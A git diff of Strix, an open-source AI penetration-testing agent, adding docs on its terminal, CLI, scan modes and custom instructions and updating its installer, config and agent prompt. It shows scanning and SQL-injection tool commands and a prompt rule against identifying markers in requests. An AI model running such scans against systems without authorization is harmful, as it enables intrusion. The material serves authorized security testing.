Normal file
@@ -0,0 +1,61 @@
|
|||||||
|
---
|
||||||
|
title: "Terminal"
|
||||||
|
description: "Bash shell for running commands and security tools"
|
||||||
|
---
|
||||||
|
|
||||||
|
Strix has access to a persistent bash terminal running inside the Docker sandbox. This gives the agent access to all [pre-installed security tools](/tools/sandbox).
|
||||||
|
|
||||||
|
## Capabilities
|
||||||
|
|
||||||
|
| Feature | Description |
|
||||||
|
| ----------------- | ---------------------------------------------------------- |
|
||||||
|
| Persistent state | Working directory and environment persist between commands |
|
||||||
|
| Multiple sessions | Run parallel terminals for concurrent operations |
|
||||||
|
| Background jobs | Start long-running processes without blocking |
|
||||||
|
| Interactive | Respond to prompts and control running processes |
|
||||||
|
|
||||||
|
## Common Uses
|
||||||
|
|
||||||
|
### Running Security Tools
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Subdomain enumeration
|
||||||
|
subfinder -d example.com
|
||||||
|
|
||||||
|
# Vulnerability scanning
|
||||||
|
nuclei -u https://example.com
|
||||||
|
|
||||||
|
# SQL injection testing
|
||||||
|
sqlmap -u "https://example.com/page?id=1"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Code Analysis
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Search for secrets
|
||||||
|
trufflehog filesystem ./
|
||||||
|
|
||||||
|
# Static analysis
|
||||||
|
semgrep --config auto ./src
|
||||||
|
|
||||||
|
# Grep for patterns
|
||||||
|
grep -r "password" ./
|
||||||
|
```
|
||||||
|
|
||||||
|
### Custom Scripts
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Run Python exploits
|
||||||
|
python3 exploit.py
|
||||||
|
|
||||||
|
# Execute shell scripts
|
||||||
|
./test_auth_bypass.sh
|
||||||
|
```
|
||||||
|
|
||||||
|
## Session Management
|
||||||
|
|
||||||
|
The agent can run multiple terminal sessions concurrently, for example:
|
||||||
|
|
||||||
|
- Main session for primary testing
|
||||||
|
- Secondary session for monitoring
|
||||||
|
- Background processes for servers or watchers
|
||||||
62
docs/usage/cli.mdx
Normal file
62
docs/usage/cli.mdx
Normal file
@@ -0,0 +1,62 @@
|
|||||||
|
---
|
||||||
|
title: "CLI Reference"
|
||||||
|
description: "Command-line options for Strix"
|
||||||
|
---
|
||||||
|
|
||||||
|
## Basic Usage
|
||||||
|
|
||||||
|
```bash
|
||||||
|
strix --target <target> [options]
|
||||||
|
```
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
<ParamField path="--target, -t" type="string" required>
|
||||||
|
Target to test. Accepts URLs, repositories, local directories, domains, or IP addresses. Can be specified multiple times.
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
<ParamField path="--instruction" type="string">
|
||||||
|
Custom instructions for the scan. Use for credentials, focus areas, or specific testing approaches.
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
<ParamField path="--instruction-file" type="string">
|
||||||
|
Path to a file containing detailed instructions.
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
<ParamField path="--scan-mode, -m" type="string" default="deep">
|
||||||
|
Scan depth: `quick`, `standard`, or `deep`.
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
<ParamField path="--non-interactive, -n" type="boolean">
|
||||||
|
Run in headless mode without TUI. Ideal for CI/CD.
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
<ParamField path="--config" type="string">
|
||||||
|
Path to a custom config file (JSON) to use instead of `~/.strix/cli-config.json`.
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
## Examples
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Basic scan
|
||||||
|
strix --target https://example.com
|
||||||
|
|
||||||
|
# Authenticated testing
|
||||||
|
strix --target https://app.com --instruction "Use credentials: user:pass"
|
||||||
|
|
||||||
|
# Focused testing
|
||||||
|
strix --target api.example.com --instruction "Focus on IDOR and auth bypass"
|
||||||
|
|
||||||
|
# CI/CD mode
|
||||||
|
strix -n --target ./ --scan-mode quick
|
||||||
|
|
||||||
|
# Multi-target white-box testing
|
||||||
|
strix -t https://github.com/org/app -t https://staging.example.com
|
||||||
|
```
|
||||||
|
|
||||||
|
## Exit Codes
|
||||||
|
|
||||||
|
| Code | Meaning |
|
||||||
|
|------|---------|
|
||||||
|
| 0 | Scan completed, no vulnerabilities found |
|
||||||
|
| 2 | Vulnerabilities found (headless mode only) |
|
||||||
73
docs/usage/instructions.mdx
Normal file
73
docs/usage/instructions.mdx
Normal file
@@ -0,0 +1,73 @@
|
|||||||
|
---
|
||||||
|
title: "Custom Instructions"
|
||||||
|
description: "Guide Strix with custom testing instructions"
|
||||||
|
---
|
||||||
|
|
||||||
|
Use instructions to provide context, credentials, or focus areas for your scan.
|
||||||
|
|
||||||
|
## Inline Instructions
|
||||||
|
|
||||||
|
```bash
|
||||||
|
strix --target https://app.com --instruction "Focus on authentication vulnerabilities"
|
||||||
|
```
|
||||||
|
|
||||||
|
## File-Based Instructions
|
||||||
|
|
||||||
|
For complex instructions, use a file:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
strix --target https://app.com --instruction-file ./pentest-instructions.md
|
||||||
|
```
|
||||||
|
|
||||||
|
## Common Use Cases
|
||||||
|
|
||||||
|
### Authenticated Testing
|
||||||
|
|
||||||
|
```bash
|
||||||
|
strix --target https://app.com \
|
||||||
|
--instruction "Login with email: test@example.com, password: TestPass123"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Focused Scope
|
||||||
|
|
||||||
|
```bash
|
||||||
|
strix --target https://api.example.com \
|
||||||
|
--instruction "Focus on IDOR vulnerabilities in the /api/users endpoints"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Exclusions
|
||||||
|
|
||||||
|
```bash
|
||||||
|
strix --target https://app.com \
|
||||||
|
--instruction "Do not test /admin or /internal endpoints"
|
||||||
|
```
|
||||||
|
|
||||||
|
### API Testing
|
||||||
|
|
||||||
|
```bash
|
||||||
|
strix --target https://api.example.com \
|
||||||
|
--instruction "Use API key header: X-API-Key: abc123. Focus on rate limiting bypass."
|
||||||
|
```
|
||||||
|
|
||||||
|
## Instruction File Example
|
||||||
|
|
||||||
|
```markdown instructions.md
|
||||||
|
# Penetration Test Instructions
|
||||||
|
|
||||||
|
## Credentials
|
||||||
|
- Admin: admin@example.com / AdminPass123
|
||||||
|
- User: user@example.com / UserPass123
|
||||||
|
|
||||||
|
## Focus Areas
|
||||||
|
1. IDOR in user profile endpoints
|
||||||
|
2. Privilege escalation between roles
|
||||||
|
3. JWT token manipulation
|
||||||
|
|
||||||
|
## Out of Scope
|
||||||
|
- /health endpoints
|
||||||
|
- Third-party integrations
|
||||||
|
```
|
||||||
|
|
||||||
|
<Tip>
|
||||||
|
Be specific. Good instructions help Strix prioritize the most valuable attack paths.
|
||||||
|
</Tip>
|
||||||
58
docs/usage/scan-modes.mdx
Normal file
58
docs/usage/scan-modes.mdx
Normal file
@@ -0,0 +1,58 @@
|
|||||||
|
---
|
||||||
|
title: "Scan Modes"
|
||||||
|
description: "Choose the right scan depth for your use case"
|
||||||
|
---
|
||||||
|
|
||||||
|
Strix offers three scan modes to balance speed and thoroughness.
|
||||||
|
|
||||||
|
## Quick
|
||||||
|
|
||||||
|
```bash
|
||||||
|
strix --target ./app --scan-mode quick
|
||||||
|
```
|
||||||
|
|
||||||
|
Fast checks for obvious vulnerabilities. Best for:
|
||||||
|
- CI/CD pipelines
|
||||||
|
- Pull request validation
|
||||||
|
- Rapid smoke tests
|
||||||
|
|
||||||
|
**Duration**: Minutes
|
||||||
|
|
||||||
|
## Standard
|
||||||
|
|
||||||
|
```bash
|
||||||
|
strix --target ./app --scan-mode standard
|
||||||
|
```
|
||||||
|
|
||||||
|
Balanced testing for routine security reviews. Best for:
|
||||||
|
- Regular security assessments
|
||||||
|
- Pre-release validation
|
||||||
|
- Development milestones
|
||||||
|
|
||||||
|
**Duration**: 30 minutes to 1 hour
|
||||||
|
|
||||||
|
## Deep
|
||||||
|
|
||||||
|
```bash
|
||||||
|
strix --target ./app --scan-mode deep
|
||||||
|
```
|
||||||
|
|
||||||
|
Thorough penetration testing. Best for:
|
||||||
|
- Comprehensive security audits
|
||||||
|
- Pre-production reviews
|
||||||
|
- Critical application assessments
|
||||||
|
|
||||||
|
**Duration**: 1-4 hours depending on target complexity
|
||||||
|
|
||||||
|
<Note>
|
||||||
|
Deep mode is the default. It explores edge cases, chained vulnerabilities, and complex attack paths.
|
||||||
|
</Note>
|
||||||
|
|
||||||
|
## Choosing a Mode
|
||||||
|
|
||||||
|
| Scenario | Recommended Mode |
|
||||||
|
|----------|------------------|
|
||||||
|
| Every PR | Quick |
|
||||||
|
| Weekly scans | Standard |
|
||||||
|
| Before major release | Deep |
|
||||||
|
| Bug bounty hunting | Deep |
|
||||||
679
poetry.lock
generated
679
poetry.lock
generated
File diff suppressed because it is too large
Load Diff
@@ -1,6 +1,6 @@
|
|||||||
[tool.poetry]
|
[tool.poetry]
|
||||||
name = "strix-agent"
|
name = "strix-agent"
|
||||||
version = "0.6.1"
|
version = "0.8.1"
|
||||||
description = "Open-source AI Hackers for your apps"
|
description = "Open-source AI Hackers for your apps"
|
||||||
authors = ["Strix <hi@usestrix.com>"]
|
authors = ["Strix <hi@usestrix.com>"]
|
||||||
readme = "README.md"
|
readme = "README.md"
|
||||||
@@ -35,7 +35,8 @@ packages = [
|
|||||||
include = [
|
include = [
|
||||||
"LICENSE",
|
"LICENSE",
|
||||||
"README.md",
|
"README.md",
|
||||||
"strix/**/*.jinja",
|
"strix/agents/**/*.jinja",
|
||||||
|
"strix/skills/**/*.md",
|
||||||
"strix/**/*.xml",
|
"strix/**/*.xml",
|
||||||
"strix/**/*.tcss"
|
"strix/**/*.tcss"
|
||||||
]
|
]
|
||||||
@@ -46,7 +47,7 @@ strix = "strix.interface.main:main"
|
|||||||
[tool.poetry.dependencies]
|
[tool.poetry.dependencies]
|
||||||
python = "^3.12"
|
python = "^3.12"
|
||||||
# Core CLI dependencies
|
# Core CLI dependencies
|
||||||
litellm = { version = "~1.80.7", extras = ["proxy"] }
|
litellm = { version = "~1.81.1", extras = ["proxy"] }
|
||||||
tenacity = "^9.0.0"
|
tenacity = "^9.0.0"
|
||||||
pydantic = {extras = ["email"], version = "^2.11.3"}
|
pydantic = {extras = ["email"], version = "^2.11.3"}
|
||||||
rich = "*"
|
rich = "*"
|
||||||
|
|||||||
@@ -4,7 +4,7 @@ set -euo pipefail
|
|||||||
|
|
||||||
APP=strix
|
APP=strix
|
||||||
REPO="usestrix/strix"
|
REPO="usestrix/strix"
|
||||||
STRIX_IMAGE="ghcr.io/usestrix/strix-sandbox:0.1.10"
|
STRIX_IMAGE="ghcr.io/usestrix/strix-sandbox:0.1.11"
|
||||||
|
|
||||||
MUTED='\033[0;2m'
|
MUTED='\033[0;2m'
|
||||||
RED='\033[0;31m'
|
RED='\033[0;31m'
|
||||||
@@ -209,11 +209,16 @@ check_docker() {
|
|||||||
add_to_path() {
|
add_to_path() {
|
||||||
local config_file=$1
|
local config_file=$1
|
||||||
local command=$2
|
local command=$2
|
||||||
|
|
||||||
if grep -Fxq "$command" "$config_file" 2>/dev/null; then
|
if grep -Fxq "$command" "$config_file" 2>/dev/null; then
|
||||||
return 0
|
print_message info "${MUTED}PATH already configured in ${NC}$config_file"
|
||||||
elif [[ -w $config_file ]]; then
|
elif [[ -w $config_file ]]; then
|
||||||
echo -e "\n# strix" >> "$config_file"
|
echo -e "\n# strix" >> "$config_file"
|
||||||
echo "$command" >> "$config_file"
|
echo "$command" >> "$config_file"
|
||||||
|
print_message info "${MUTED}Successfully added ${NC}strix ${MUTED}to \$PATH in ${NC}$config_file"
|
||||||
|
else
|
||||||
|
print_message warning "Manually add the directory to $config_file (or similar):"
|
||||||
|
print_message info " $command"
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -226,13 +231,19 @@ setup_path() {
|
|||||||
config_files="$HOME/.config/fish/config.fish"
|
config_files="$HOME/.config/fish/config.fish"
|
||||||
;;
|
;;
|
||||||
zsh)
|
zsh)
|
||||||
config_files="$HOME/.zshrc $HOME/.zshenv"
|
config_files="${ZDOTDIR:-$HOME}/.zshrc ${ZDOTDIR:-$HOME}/.zshenv $XDG_CONFIG_HOME/zsh/.zshrc $XDG_CONFIG_HOME/zsh/.zshenv"
|
||||||
;;
|
;;
|
||||||
bash)
|
bash)
|
||||||
config_files="$HOME/.bashrc $HOME/.bash_profile $HOME/.profile"
|
config_files="$HOME/.bashrc $HOME/.bash_profile $HOME/.profile $XDG_CONFIG_HOME/bash/.bashrc $XDG_CONFIG_HOME/bash/.bash_profile"
|
||||||
|
;;
|
||||||
|
ash)
|
||||||
|
config_files="$HOME/.ashrc $HOME/.profile /etc/profile"
|
||||||
|
;;
|
||||||
|
sh)
|
||||||
|
config_files="$HOME/.ashrc $HOME/.profile /etc/profile"
|
||||||
;;
|
;;
|
||||||
*)
|
*)
|
||||||
config_files="$HOME/.bashrc $HOME/.profile"
|
config_files="$HOME/.bashrc $HOME/.bash_profile $XDG_CONFIG_HOME/bash/.bashrc $XDG_CONFIG_HOME/bash/.bash_profile"
|
||||||
;;
|
;;
|
||||||
esac
|
esac
|
||||||
|
|
||||||
@@ -245,23 +256,36 @@ setup_path() {
|
|||||||
done
|
done
|
||||||
|
|
||||||
if [[ -z $config_file ]]; then
|
if [[ -z $config_file ]]; then
|
||||||
config_file="$HOME/.bashrc"
|
print_message warning "No config file found for $current_shell. You may need to manually add to PATH:"
|
||||||
touch "$config_file"
|
print_message info " export PATH=$INSTALL_DIR:\$PATH"
|
||||||
fi
|
elif [[ ":$PATH:" != *":$INSTALL_DIR:"* ]]; then
|
||||||
|
|
||||||
if [[ ":$PATH:" != *":$INSTALL_DIR:"* ]]; then
|
|
||||||
case $current_shell in
|
case $current_shell in
|
||||||
fish)
|
fish)
|
||||||
add_to_path "$config_file" "fish_add_path $INSTALL_DIR"
|
add_to_path "$config_file" "fish_add_path $INSTALL_DIR"
|
||||||
;;
|
;;
|
||||||
|
zsh)
|
||||||
|
add_to_path "$config_file" "export PATH=$INSTALL_DIR:\$PATH"
|
||||||
|
;;
|
||||||
|
bash)
|
||||||
|
add_to_path "$config_file" "export PATH=$INSTALL_DIR:\$PATH"
|
||||||
|
;;
|
||||||
|
ash)
|
||||||
|
add_to_path "$config_file" "export PATH=$INSTALL_DIR:\$PATH"
|
||||||
|
;;
|
||||||
|
sh)
|
||||||
|
add_to_path "$config_file" "export PATH=$INSTALL_DIR:\$PATH"
|
||||||
|
;;
|
||||||
*)
|
*)
|
||||||
add_to_path "$config_file" "export PATH=\"$INSTALL_DIR:\$PATH\""
|
export PATH=$INSTALL_DIR:$PATH
|
||||||
|
print_message warning "Manually add the directory to $config_file (or similar):"
|
||||||
|
print_message info " export PATH=$INSTALL_DIR:\$PATH"
|
||||||
;;
|
;;
|
||||||
esac
|
esac
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ -n "${GITHUB_ACTIONS-}" ] && [ "${GITHUB_ACTIONS}" == "true" ]; then
|
if [ -n "${GITHUB_ACTIONS-}" ] && [ "${GITHUB_ACTIONS}" == "true" ]; then
|
||||||
echo "$INSTALL_DIR" >> "$GITHUB_PATH"
|
echo "$INSTALL_DIR" >> "$GITHUB_PATH"
|
||||||
|
print_message info "Added $INSTALL_DIR to \$GITHUB_PATH"
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -311,18 +335,20 @@ echo -e "${MUTED} AI Penetration Testing Agent${NC}"
|
|||||||
echo ""
|
echo ""
|
||||||
echo -e "${MUTED}To get started:${NC}"
|
echo -e "${MUTED}To get started:${NC}"
|
||||||
echo ""
|
echo ""
|
||||||
echo -e " ${CYAN}1.${NC} Set your LLM provider:"
|
echo -e " ${CYAN}1.${NC} Get your Strix API key:"
|
||||||
echo -e " ${MUTED}export STRIX_LLM='openai/gpt-5'${NC}"
|
echo -e " ${MUTED}https://models.strix.ai${NC}"
|
||||||
echo -e " ${MUTED}export LLM_API_KEY='your-api-key'${NC}"
|
|
||||||
echo ""
|
echo ""
|
||||||
echo -e " ${CYAN}2.${NC} Run a penetration test:"
|
echo -e " ${CYAN}2.${NC} Set your environment:"
|
||||||
|
echo -e " ${MUTED}export LLM_API_KEY='your-api-key'${NC}"
|
||||||
|
echo -e " ${MUTED}export STRIX_LLM='strix/gpt-5'${NC}"
|
||||||
|
echo ""
|
||||||
|
echo -e " ${CYAN}3.${NC} Run a penetration test:"
|
||||||
echo -e " ${MUTED}strix --target https://example.com${NC}"
|
echo -e " ${MUTED}strix --target https://example.com${NC}"
|
||||||
echo ""
|
echo ""
|
||||||
echo -e "${MUTED}For more information visit ${NC}https://strix.ai"
|
echo -e "${MUTED}For more information visit ${NC}https://strix.ai"
|
||||||
echo -e "${MUTED}Join our community ${NC}https://discord.gg/YjKFvEZSdZ"
|
echo -e "${MUTED}Supported models ${NC}https://docs.strix.ai/llm-providers/overview"
|
||||||
|
echo -e "${MUTED}Join our community ${NC}https://discord.gg/strix-ai"
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
if [[ ":$PATH:" != *":$INSTALL_DIR:"* ]]; then
|
echo -e "${YELLOW}→${NC} Run ${MUTED}source ~/.$(basename $SHELL)rc${NC} or open a new terminal"
|
||||||
echo -e "${YELLOW}→${NC} Run ${MUTED}source ~/.$(basename $SHELL)rc${NC} or open a new terminal"
|
echo ""
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|||||||
18
strix.spec
18
strix.spec
@@ -9,7 +9,11 @@ strix_root = project_root / 'strix'
|
|||||||
|
|
||||||
datas = []
|
datas = []
|
||||||
|
|
||||||
for jinja_file in strix_root.rglob('*.jinja'):
|
for md_file in strix_root.rglob('skills/**/*.md'):
|
||||||
|
rel_path = md_file.relative_to(project_root)
|
||||||
|
datas.append((str(md_file), str(rel_path.parent)))
|
||||||
|
|
||||||
|
for jinja_file in strix_root.rglob('agents/**/*.jinja'):
|
||||||
rel_path = jinja_file.relative_to(project_root)
|
rel_path = jinja_file.relative_to(project_root)
|
||||||
datas.append((str(jinja_file), str(rel_path.parent)))
|
datas.append((str(jinja_file), str(rel_path.parent)))
|
||||||
|
|
||||||
@@ -86,6 +90,14 @@ hiddenimports = [
|
|||||||
|
|
||||||
# XML parsing
|
# XML parsing
|
||||||
'xmltodict',
|
'xmltodict',
|
||||||
|
'defusedxml',
|
||||||
|
'defusedxml.ElementTree',
|
||||||
|
|
||||||
|
# Syntax highlighting
|
||||||
|
'pygments',
|
||||||
|
'pygments.lexers',
|
||||||
|
'pygments.styles',
|
||||||
|
'pygments.util',
|
||||||
|
|
||||||
# Tiktoken (for token counting)
|
# Tiktoken (for token counting)
|
||||||
'tiktoken',
|
'tiktoken',
|
||||||
@@ -95,6 +107,9 @@ hiddenimports = [
|
|||||||
# Tenacity retry
|
# Tenacity retry
|
||||||
'tenacity',
|
'tenacity',
|
||||||
|
|
||||||
|
# CVSS scoring
|
||||||
|
'cvss',
|
||||||
|
|
||||||
# Strix modules
|
# Strix modules
|
||||||
'strix',
|
'strix',
|
||||||
'strix.interface',
|
'strix.interface',
|
||||||
@@ -128,6 +143,7 @@ hiddenimports += collect_submodules('litellm')
|
|||||||
hiddenimports += collect_submodules('textual')
|
hiddenimports += collect_submodules('textual')
|
||||||
hiddenimports += collect_submodules('rich')
|
hiddenimports += collect_submodules('rich')
|
||||||
hiddenimports += collect_submodules('pydantic')
|
hiddenimports += collect_submodules('pydantic')
|
||||||
|
hiddenimports += collect_submodules('pygments')
|
||||||
|
|
||||||
excludes = [
|
excludes = [
|
||||||
# Sandbox-only packages
|
# Sandbox-only packages
|
||||||
|
|||||||
@@ -16,9 +16,9 @@ CLI OUTPUT:
|
|||||||
- NEVER use "Strix" or any identifiable names/markers in HTTP requests, payloads, user-agents, or any inputs
|
- NEVER use "Strix" or any identifiable names/markers in HTTP requests, payloads, user-agents, or any inputs
|
||||||
|
|
||||||
INTER-AGENT MESSAGES:
|
INTER-AGENT MESSAGES:
|
||||||
- NEVER echo inter_agent_message or agent_completion_report XML content that is sent to you in your output.
|
- NEVER echo inter_agent_message or agent_completion_report blocks that are sent to you in your output.
|
||||||
- Process these internally without displaying the XML
|
- Process these internally without displaying them
|
||||||
- NEVER echo agent_identity XML blocks; treat them as internal metadata for identity only. Do not include them in outputs or tool calls.
|
- NEVER echo agent_identity blocks; treat them as internal metadata for identity only. Do not include them in outputs or tool calls.
|
||||||
- Minimize inter-agent messaging: only message when essential for coordination or assistance; avoid routine status updates; batch non-urgent information; prefer parent/child completion flows and shared artifacts over messaging
|
- Minimize inter-agent messaging: only message when essential for coordination or assistance; avoid routine status updates; batch non-urgent information; prefer parent/child completion flows and shared artifacts over messaging
|
||||||
|
|
||||||
AUTONOMOUS BEHAVIOR:
|
AUTONOMOUS BEHAVIOR:
|
||||||
@@ -301,7 +301,7 @@ PERSISTENCE IS MANDATORY:
|
|||||||
</multi_agent_system>
|
</multi_agent_system>
|
||||||
|
|
||||||
<tool_usage>
|
<tool_usage>
|
||||||
Tool calls use XML format:
|
Tool call format:
|
||||||
<function=tool_name>
|
<function=tool_name>
|
||||||
<parameter=param_name>value</parameter>
|
<parameter=param_name>value</parameter>
|
||||||
</function>
|
</function>
|
||||||
@@ -311,16 +311,40 @@ CRITICAL RULES:
|
|||||||
1. Exactly one tool call per message — never include more than one <function>...</function> block in a single LLM message.
|
1. Exactly one tool call per message — never include more than one <function>...</function> block in a single LLM message.
|
||||||
2. Tool call must be last in message
|
2. Tool call must be last in message
|
||||||
3. EVERY tool call MUST end with </function>. This is MANDATORY. Never omit the closing tag. End your response immediately after </function>.
|
3. EVERY tool call MUST end with </function>. This is MANDATORY. Never omit the closing tag. End your response immediately after </function>.
|
||||||
4. Use ONLY the exact XML format shown above. NEVER use JSON/YAML/INI or any other syntax for tools or parameters.
|
4. Use ONLY the exact format shown above. NEVER use JSON/YAML/INI or any other syntax for tools or parameters.
|
||||||
5. When sending ANY multi-line content in tool parameters, use real newlines (actual line breaks). Do NOT emit literal "\n" sequences. If you send "\n" instead of real line breaks inside the XML parameter value, tools may fail or behave incorrectly.
|
5. When sending ANY multi-line content in tool parameters, use real newlines (actual line breaks). Do NOT emit literal "\n" sequences. Literal "\n" instead of real line breaks will cause tools to fail.
|
||||||
6. Tool names must match exactly the tool "name" defined (no module prefixes, dots, or variants).
|
6. Tool names must match exactly the tool "name" defined (no module prefixes, dots, or variants).
|
||||||
- Correct: <function=think> ... </function>
|
|
||||||
- Incorrect: <thinking_tools.think> ... </function>
|
|
||||||
- Incorrect: <think> ... </think>
|
|
||||||
- Incorrect: {"think": {...}}
|
|
||||||
7. Parameters must use <parameter=param_name>value</parameter> exactly. Do NOT pass parameters as JSON or key:value lines. Do NOT add quotes/braces around values.
|
7. Parameters must use <parameter=param_name>value</parameter> exactly. Do NOT pass parameters as JSON or key:value lines. Do NOT add quotes/braces around values.
|
||||||
8. Do NOT wrap tool calls in markdown/code fences or add any text before or after the tool block.
|
8. Do NOT wrap tool calls in markdown/code fences or add any text before or after the tool block.
|
||||||
|
|
||||||
|
CORRECT format — use this EXACTLY:
|
||||||
|
<function=tool_name>
|
||||||
|
<parameter=param_name>value</parameter>
|
||||||
|
</function>
|
||||||
|
|
||||||
|
WRONG formats — NEVER use these:
|
||||||
|
- <invoke name="tool_name"><parameter name="param_name">value</parameter></invoke>
|
||||||
|
- <function_calls><invoke name="tool_name">...</invoke></function_calls>
|
||||||
|
- <tool_call><tool_name>...</tool_name></tool_call>
|
||||||
|
- {"tool_name": {"param_name": "value"}}
|
||||||
|
- ```<function=tool_name>...</function>```
|
||||||
|
- <function=tool_name>value_without_parameter_tags</function>
|
||||||
|
|
||||||
|
EVERY argument MUST be wrapped in <parameter=name>...</parameter> tags. NEVER put values directly in the function body without parameter tags. This WILL cause the tool call to fail.
|
||||||
|
|
||||||
|
Do NOT emit any extra XML tags in your output. In particular:
|
||||||
|
- NO <thinking>...</thinking> or <thought>...</thought> blocks
|
||||||
|
- NO <scratchpad>...</scratchpad> or <reasoning>...</reasoning> blocks
|
||||||
|
- NO <answer>...</answer> or <response>...</response> wrappers
|
||||||
|
If you need to reason, use the think tool. Your raw output must contain ONLY the tool call — no surrounding XML tags.
|
||||||
|
|
||||||
|
Notice: use <function=X> NOT <invoke name="X">, use <parameter=X> NOT <parameter name="X">, use </function> NOT </invoke>.
|
||||||
|
|
||||||
|
Example (terminal tool):
|
||||||
|
<function=terminal_execute>
|
||||||
|
<parameter=command>nmap -sV -p 1-1000 target.com</parameter>
|
||||||
|
</function>
|
||||||
|
|
||||||
Example (agent creation tool):
|
Example (agent creation tool):
|
||||||
<function=create_agent>
|
<function=create_agent>
|
||||||
<parameter=task>Perform targeted XSS testing on the search endpoint</parameter>
|
<parameter=task>Perform targeted XSS testing on the search endpoint</parameter>
|
||||||
@@ -398,11 +422,10 @@ Default user: pentester (sudo available)
|
|||||||
|
|
||||||
{% if loaded_skill_names %}
|
{% if loaded_skill_names %}
|
||||||
<specialized_knowledge>
|
<specialized_knowledge>
|
||||||
{# Dynamic skills loaded based on agent specialization #}
|
|
||||||
|
|
||||||
{% for skill_name in loaded_skill_names %}
|
{% for skill_name in loaded_skill_names %}
|
||||||
|
<{{ skill_name }}>
|
||||||
{{ get_skill(skill_name) }}
|
{{ get_skill(skill_name) }}
|
||||||
|
</{{ skill_name }}>
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
</specialized_knowledge>
|
</specialized_knowledge>
|
||||||
{% endif %}
|
{% endif %}
|
||||||
|
|||||||
@@ -43,7 +43,9 @@ class AgentState(BaseModel):
|
|||||||
self.iteration += 1
|
self.iteration += 1
|
||||||
self.last_updated = datetime.now(UTC).isoformat()
|
self.last_updated = datetime.now(UTC).isoformat()
|
||||||
|
|
||||||
def add_message(self, role: str, content: Any, thinking_blocks: list[dict[str, Any]] | None = None) -> None:
|
def add_message(
|
||||||
|
self, role: str, content: Any, thinking_blocks: list[dict[str, Any]] | None = None
|
||||||
|
) -> None:
|
||||||
message = {"role": role, "content": content}
|
message = {"role": role, "content": content}
|
||||||
if thinking_blocks:
|
if thinking_blocks:
|
||||||
message["thinking_blocks"] = thinking_blocks
|
message["thinking_blocks"] = thinking_blocks
|
||||||
|
|||||||
@@ -5,6 +5,9 @@ from pathlib import Path
|
|||||||
from typing import Any
|
from typing import Any
|
||||||
|
|
||||||
|
|
||||||
|
STRIX_API_BASE = "https://models.strix.ai/api/v1"
|
||||||
|
|
||||||
|
|
||||||
class Config:
|
class Config:
|
||||||
"""Configuration Manager for Strix."""
|
"""Configuration Manager for Strix."""
|
||||||
|
|
||||||
@@ -19,13 +22,25 @@ class Config:
|
|||||||
strix_llm_max_retries = "5"
|
strix_llm_max_retries = "5"
|
||||||
strix_memory_compressor_timeout = "30"
|
strix_memory_compressor_timeout = "30"
|
||||||
llm_timeout = "300"
|
llm_timeout = "300"
|
||||||
|
_LLM_CANONICAL_NAMES = (
|
||||||
|
"strix_llm",
|
||||||
|
"llm_api_key",
|
||||||
|
"llm_api_base",
|
||||||
|
"openai_api_base",
|
||||||
|
"litellm_base_url",
|
||||||
|
"ollama_api_base",
|
||||||
|
"strix_reasoning_effort",
|
||||||
|
"strix_llm_max_retries",
|
||||||
|
"strix_memory_compressor_timeout",
|
||||||
|
"llm_timeout",
|
||||||
|
)
|
||||||
|
|
||||||
# Tool & Feature Configuration
|
# Tool & Feature Configuration
|
||||||
perplexity_api_key = None
|
perplexity_api_key = None
|
||||||
strix_disable_browser = "false"
|
strix_disable_browser = "false"
|
||||||
|
|
||||||
# Runtime Configuration
|
# Runtime Configuration
|
||||||
strix_image = "ghcr.io/usestrix/strix-sandbox:0.1.10"
|
strix_image = "ghcr.io/usestrix/strix-sandbox:0.1.11"
|
||||||
strix_runtime_backend = "docker"
|
strix_runtime_backend = "docker"
|
||||||
strix_sandbox_execution_timeout = "120"
|
strix_sandbox_execution_timeout = "120"
|
||||||
strix_sandbox_connect_timeout = "10"
|
strix_sandbox_connect_timeout = "10"
|
||||||
@@ -33,6 +48,9 @@ class Config:
|
|||||||
# Telemetry
|
# Telemetry
|
||||||
strix_telemetry = "1"
|
strix_telemetry = "1"
|
||||||
|
|
||||||
|
# Config file override (set via --config CLI arg)
|
||||||
|
_config_file_override: Path | None = None
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
def _tracked_names(cls) -> list[str]:
|
def _tracked_names(cls) -> list[str]:
|
||||||
return [
|
return [
|
||||||
@@ -45,6 +63,20 @@ class Config:
|
|||||||
def tracked_vars(cls) -> list[str]:
|
def tracked_vars(cls) -> list[str]:
|
||||||
return [name.upper() for name in cls._tracked_names()]
|
return [name.upper() for name in cls._tracked_names()]
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def _llm_env_vars(cls) -> set[str]:
|
||||||
|
return {name.upper() for name in cls._LLM_CANONICAL_NAMES}
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def _llm_env_changed(cls, saved_env: dict[str, Any]) -> bool:
|
||||||
|
for var_name in cls._llm_env_vars():
|
||||||
|
current = os.getenv(var_name)
|
||||||
|
if current is None:
|
||||||
|
continue
|
||||||
|
if saved_env.get(var_name) != current:
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
def get(cls, name: str) -> str | None:
|
def get(cls, name: str) -> str | None:
|
||||||
env_name = name.upper()
|
env_name = name.upper()
|
||||||
@@ -57,6 +89,8 @@ class Config:
|
|||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
def config_file(cls) -> Path:
|
def config_file(cls) -> Path:
|
||||||
|
if cls._config_file_override is not None:
|
